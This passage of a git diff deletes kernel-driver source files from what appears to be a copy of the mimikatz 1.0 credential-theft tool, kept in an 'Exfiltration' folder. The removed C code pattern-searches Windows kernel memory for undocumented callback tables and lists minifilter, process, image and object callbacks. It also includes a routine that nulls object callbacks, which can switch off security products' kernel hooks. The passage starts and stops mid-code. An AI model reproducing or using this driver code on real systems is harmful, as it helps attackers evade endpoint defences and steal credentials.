STRSAFE_NO_TRUNCATION, - L"%*.*ws\n", - myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR), - myFilterFullInformation->FilterNameBuffer - ); - - if(NT_SUCCESS(status)) - { - status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned); - if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0)) - { - InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG); - if(InstanceList != NULL) - { - status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned); - for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++) - { - /* - http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx - * InstanceName - * Altitude - * VolumeName - - FilterName - */ - - if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume))) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" Instance %u @ %wZ\n", - j, - (PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF]) - ); - FltObjectDereference (RetVolume); - } - else - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" Instance %u\n", - j - ); - } - - for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++) - { - monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k); - if(monCallBack != NULL) - { - preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]); - postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]); - - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" [0x%2x %-24ws] ", - k, - irpToName[k - 0x16] - ); - - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - - } - } - } - FltObjectDereference (InstanceList[j]); - } - ExFreePoolWithTag(InstanceList, POOL_TAG); - } - } - } - } - ExFreePoolWithTag(myFilterFullInformation, POOL_TAG); - } - } - FltObjectDereference (FilterList[i]); - } - ExFreePoolWithTag(FilterList, POOL_TAG); - } - } - } - return status; -} diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.h b/Exfiltration/mimikatz-1.0/driver/minifilters.h deleted file mode 100644 index 647031a5..00000000 --- a/Exfiltration/mimikatz-1.0/driver/minifilters.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once -#include -#include "k_types.h" -#include "modules.h" - -#define INDEX_MF_CALLBACK_OFF 0 -#define INDEX_MF_CALLBACK_PRE_OFF 1 -#define INDEX_MF_CALLBACK_POST_OFF 2 -#define INDEX_MF_VOLUME_NAME_OFF 3 -#define MAX_MF_LEN 4 - -NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.c b/Exfiltration/mimikatz-1.0/driver/mod_memory.c deleted file mode 100644 index d5a05b3e..00000000 --- a/Exfiltration/mimikatz-1.0/driver/mod_memory.c +++ /dev/null @@ -1,32 +0,0 @@ -#include "mod_memory.h" - -NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur) -{ - for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1) - { - if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur) - { - return STATUS_SUCCESS; - } - } - *addressePattern = NULL; - return STATUS_NOT_FOUND; -} - -NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo) -{ - NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur); - if(NT_SUCCESS(status)) - { - *addressePointeur += offsetTo; - #ifdef _M_X64 - *addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur); - #elif defined _M_IX86 - *addressePointeur = *(PUCHAR *)(*addressePointeur); - #endif - - if(!*addressePointeur) - status = STATUS_INVALID_HANDLE; - } - return status; -} diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.h b/Exfiltration/mimikatz-1.0/driver/mod_memory.h deleted file mode 100644 index 0c10fb9a..00000000 --- a/Exfiltration/mimikatz-1.0/driver/mod_memory.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once -#include "k_types.h" - -NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur); -NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo); diff --git a/Exfiltration/mimikatz-1.0/driver/modules.c b/Exfiltration/mimikatz-1.0/driver/modules.c deleted file mode 100644 index 7ca35514..00000000 --- a/Exfiltration/mimikatz-1.0/driver/modules.c +++ /dev/null @@ -1,110 +0,0 @@ -#include "modules.h" - -NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status = STATUS_SUCCESS; - ULONG i; - ULONG modulesSize; - AUX_MODULE_EXTENDED_INFO* modules; - ULONG numberOfModules; - - *ppszDestEnd = pszDest; - *pcbRemaining= cbDest; - - status = AuxKlibInitialize(); - if(NT_SUCCESS(status)) - { - status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); - if (NT_SUCCESS(status)) - { - if(modulesSize > 0) - { - numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); - modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); - - if(modules != NULL) - { - status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); - if (NT_SUCCESS(status)) - { - for(i = 0; i < numberOfModules; i++) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L"%p - %.8u [%S] %S\n", - modules[i].BasicInfo.ImageBase, - modules[i].ImageSize, - modules[i].FullPathName + modules[i].FileNameOffset, - modules[i].FullPathName - ); - } - } - ExFreePoolWithTag(modules, POOL_TAG); - } - } - } - } - - return status; -} - -NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status = STATUS_SUCCESS; - ULONG i; - ULONG modulesSize; - AUX_MODULE_EXTENDED_INFO* modules; - ULONG numberOfModules; - - *ppszDestEnd = pszDest; - *pcbRemaining= cbDest; - - status = AuxKlibInitialize(); - if(NT_SUCCESS(status)) - { - status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); - if (NT_SUCCESS(status)) - { - if(modulesSize > 0) - { - numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); - modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); - - if(modules != NULL) - { - status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); - if (NT_SUCCESS(status)) - { - for(i = 0; i < numberOfModules; i++) - { - status = STATUS_NOT_FOUND; - if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize)) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L"%p [%S+%u]", - theAddr, - modules[i].FullPathName + modules[i].FileNameOffset, - theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase - ); - break; - } - - - } - - if(status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr); - if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND; - } - } - ExFreePoolWithTag(modules, POOL_TAG); - } - } - } - } - - return status; -} - - - diff --git a/Exfiltration/mimikatz-1.0/driver/modules.h b/Exfiltration/mimikatz-1.0/driver/modules.h deleted file mode 100644 index 86fe6254..00000000 --- a/Exfiltration/mimikatz-1.0/driver/modules.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once -#include -#include -#include "k_types.h" - -NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify.h b/Exfiltration/mimikatz-1.0/driver/notify.h deleted file mode 100644 index 8ee225a4..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once -#include -#include "k_types.h" -#include "modules.h" -#include "mod_memory.h" -#include "notify_process.h" -#include "notify_thread.h" -#include "notify_image.h" -#include "notify_reg.h" -#include "notify_object.h" - -typedef struct _KIWI_CALLBACK -{ - #ifdef _M_IX86 - PVOID unk0; - #endif - PVOID * callback; - LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi -} KIWI_CALLBACK, *PKIWI_CALLBACK; diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.c b/Exfiltration/mimikatz-1.0/driver/notify_image.c deleted file mode 100644 index 6f03fd41..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_image.c +++ /dev/null @@ -1,117 +0,0 @@ -#include "notify_image.h" - -ULONG * PspLoadImageNotifyRoutineCount = NULL; -PVOID * PspLoadImageNotifyRoutine = NULL; - -NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG i; - PKIWI_CALLBACK monCallBack; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n"); - if(NT_SUCCESS(status)) - { - status = getPspLoadImageNotifyRoutine(); - if(NT_SUCCESS(status)) - { - for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++) - { - monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]); - if(monCallBack != NULL) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - } - } - return status; -} - -NTSTATUS getPspLoadImageNotifyRoutine() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35}; - LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image); - UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d}; - LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image); - - LONG OFFS_WNT5_Count = - 0x0c; - LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; - #elif defined _M_IX86 - UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56}; - UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6}; - UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6}; - LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID); - - LONG OFFS_WNT5_Count = - 0x18; - LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; - LONG OFFS_WIN8_Count = - 0x20; - #endif - - PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; - LONG offsetToCountEx = 0, offsetToCount = 0; - - if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) - { - retour = STATUS_SUCCESS; - } - else - { - if(INDEX_OS < INDEX_VISTA) - { - pattern = PTRN_WNT5_Image; - taille = sizeof(PTRN_WNT5_Image); - #ifdef _M_X64 - offsetTo = OFFS_WNT5_Image; - #endif - offsetToCount = OFFS_WNT5_Count; - } - else - { - #ifdef _M_X64 - pattern = PTRN_WNT6_Image; - taille = sizeof(PTRN_WNT6_Image); - offsetTo = OFFS_WNT6_Image; - offsetToCount = OFFS_WNT6_Count; - #elif defined _M_IX86 - if(INDEX_OS < INDEX_8) - { - pattern = PTRN_WNO8_Image; - taille = sizeof(PTRN_WNO8_Image); - offsetToCount = OFFS_WNO8_Count; - } - else - { - pattern = PTRN_WIN8_Image; - taille = sizeof(PTRN_WIN8_Image); - offsetToCount = OFFS_WIN8_Count; - } - #endif - } - #ifdef _M_IX86 - offsetTo = OFFS_WALL_Image; - #endif - - retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); - if(NT_SUCCESS(retour)) - { - PspLoadImageNotifyRoutine = (PVOID) (pointeur); - PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); - - if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) - retour = STATUS_SUCCESS; - } - } - return retour; -} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.h b/Exfiltration/mimikatz-1.0/driver/notify_image.h deleted file mode 100644 index f6e07114..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_image.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once -#include "notify.h" - -#define MAX_NT_PspLoadImageNotifyRoutine 8 - -ULONG * PspLoadImageNotifyRoutineCount; -PVOID * PspLoadImageNotifyRoutine; - -NTSTATUS getPspLoadImageNotifyRoutine(); -NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.c b/Exfiltration/mimikatz-1.0/driver/notify_object.c deleted file mode 100644 index 9eac3bb6..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_object.c +++ /dev/null @@ -1,173 +0,0 @@ -#include "notify_object.h" - -POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL; - -const WCHAR *procCallToName[] = { - L"Dump ", - L"Open ", - L"Close ", - L"Delete ", - L"Parse ", - L"Security ", - L"QueryName ", - L"OkayToClose", -}; - -NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif); -} - -NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif); -} - -NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action) -{ - NTSTATUS status; - ULONG i, j; - POBJECT_DIRECTORY_ENTRY monEntree; - POBJECT_TYPE monType, monTypeDecal; - PVOID * miniProc; - POBJECT_CALLBACK_ENTRY pStruct; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n"); - - if(NT_SUCCESS(status)) - { - status = getObpTypeDirectoryObject(); - if(NT_SUCCESS(status)) - { - for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++) - { - if((*ObpTypeDirectoryObject)->HashBuckets[i]) - { - for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry) - { - if(monType = monEntree->Object) - { - if(INDEX_OS < INDEX_VISTA) - monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE)); - - if(action == ListNotif) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name)); - for(j = 0; (j < 8) && NT_SUCCESS(status); j++) - { - miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j - #ifdef _M_IX86 - - ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0) - #endif - ); - if(*miniProc) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - } - if(INDEX_OS >= INDEX_VISTA) - { - if(INDEX_OS < INDEX_7) - monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK)); - else if (INDEX_OS > INDEX_7) - monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks - - for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink) - { - if(pStruct->PreOperation || pStruct->PostOperation) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);; - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - - if(action == ClearNotif) - { - pStruct->PreOperation = NULL; - pStruct->PostOperation = NULL; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n"); - } - } - } - } - } - } - } - } - } - } - return status; -} - -NTSTATUS getObpTypeDirectoryObject() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84}; - LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3; - LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3; - LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3; - #elif defined _M_IX86 - UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84}; - LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; - LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1; - LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; - #endif - - PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; - UNICODE_STRING maRoutine; - - if(ObpTypeDirectoryObject) - { - retour = STATUS_SUCCESS; - } - else - { - RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType"); - if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) - { - refFin = refDebut + PAGE_SIZE; - - if(INDEX_OS < INDEX_8) - { - if(INDEX_OS < INDEX_VISTA) - offsetTo = OFFS_WNT5_Object; - else - { - offsetTo = OFFS_WNO8_Object; - #ifdef _M_X64 - refFin = refDebut - PAGE_SIZE; - #endif - } - } - else - offsetTo = OFFS_WIN8_Object; - - retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo); - } - } - return retour; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.h b/Exfiltration/mimikatz-1.0/driver/notify_object.h deleted file mode 100644 index 96d55176..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_object.h +++ /dev/null @@ -1,79 +0,0 @@ -#pragma once -#include "notify.h" - -#define OBJECT_HASH_TABLE_SIZE 37 - -typedef struct _OBJECT_DIRECTORY_ENTRY { - struct _OBJECT_DIRECTORY_ENTRY *NextEntry; - PVOID Object; - ULONG HashValue; // pas en NT5 -} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; - -typedef struct _OBJECT_DIRECTORY { - POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE]; - EX_PUSH_LOCK Lock; - PVOID DeviceMap; - ULONG SessionId; - PVOID NamespaceEntry; // a partir de l, diffrent en NT5, mais pas utilis... - ULONG Flags; -} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; - -typedef struct _OBJECT_TYPE_INITIALIZER // NT6, dcaler ULONG en NT5x86 (compens par l'alignement en x64) -{ - SHORT Length; - UCHAR ObjectTypeFlags; - ULONG ObjectTypeCode; - ULONG InvalidAttributes; - GENERIC_MAPPING GenericMapping; - ACCESS_MASK ValidAccessMask; - ULONG RetainAccess; - POOL_TYPE PoolType; - ULONG DefaultPagedPoolCharge; - ULONG DefaultNonPagedPoolCharge; - PVOID DumpProcedure; - PVOID OpenProcedure; - PVOID CloseProcedure; - PVOID DeleteProcedure; - PVOID ParseProcedure; - PVOID SecurityProcedure; - PVOID QueryNameProcedure; - PVOID OkayToCloseProcedure; -} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; - -typedef struct _OBJECT_TYPE { - LIST_ENTRY TypeList; - UNICODE_STRING Name; - PVOID DefaultObject; - UCHAR Index; - ULONG TotalNumberOfObjects; - ULONG TotalNumberOfHandles; - ULONG HighWaterNumberOfObjects; - ULONG HighWaterNumberOfHandles; - OBJECT_TYPE_INITIALIZER TypeInfo; - EX_PUSH_LOCK TypeLock; - ULONG Key; - LIST_ENTRY CallbackList; -} OBJECT_TYPE, *POBJECT_TYPE; - -typedef struct _OBJECT_CALLBACK_ENTRY { - LIST_ENTRY CallbackList; - OB_OPERATION Operations; - ULONG Active; - /*OB_HANDLE*/ PVOID Handle; - POBJECT_TYPE ObjectType; - POB_PRE_OPERATION_CALLBACK PreOperation; - POB_POST_OPERATION_CALLBACK PostOperation; -} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY; - -typedef enum _KIWI_NOTIF_OBJECT_ACTION -{ - ListNotif, - ClearNotif -} KIWI_NOTIF_OBJECT_ACTION; - -POBJECT_DIRECTORY * ObpTypeDirectoryObject; - -NTSTATUS getObpTypeDirectoryObject(); -NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.c b/Exfiltration/mimikatz-1.0/driver/notify_process.c deleted file mode 100644 index 87cc3ed5..00000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_process.c +++ /dev/null @@ -1,137 +0,0 @@ -#include "notify_process.h" - -ULONG * PspCreateProcessNotifyRoutineCount = NULL; -ULONG * PspCreateProcessNotifyRoutineExCount = NULL; -PVOID * PspCreateProcessNotifyRoutine = NULL; - -NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG i; - PKIWI_CALLBACK monCallBack; - ULONG bonusCount; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n"); - if(NT_SUCCESS(status)) - { - status = getPspCreateProcessNotifyRoutine(); - if(NT_SUCCESS(status)) - { - bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount); - for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++) - { - monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]); - if(monCallBack != NULL) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - } - } - return status; -} - -NTSTATUS getPspCreateProcessNotifyRoutine() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb}; - LONG OFFS_WNT5_Process = -4; - UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84}; - LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3; - UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84}; - LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3; - - PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead; - PUCHAR 